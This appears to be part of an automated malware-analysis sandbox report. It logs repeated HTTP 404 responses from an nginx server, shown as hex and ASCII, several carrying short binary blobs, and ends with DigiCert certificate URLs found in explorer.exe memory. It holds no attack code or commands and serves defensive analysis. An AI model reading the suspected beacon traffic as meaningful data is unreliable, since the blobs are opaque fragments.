Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:48 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:50 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:51 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:52 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:53 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 59 39 08 a5 6c 5f b5 ac 17 bd cf b4 fe 6d 9f 3d d4 a1 72 0a 41 c2 8f 97 cb Data Ascii: #\6Y9l_m=rA
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:55 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:56 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:57 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:58 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:59 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:24:00 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:24:01 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:24:02 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:25:09 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:25:11 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:25:17 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:25:25 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:25:34 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:25:46 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:25:59 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:26:17 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:26:36 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:26:36 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:26:36 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:26:54 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Source: explorer.exe, 00000002.00000000.2219404532.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2219404532.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000002.00000000.2219404532.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2219404532.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000002.00000000.2219404532.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2219404532.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000002.00000000.2219404532.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2219404532.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
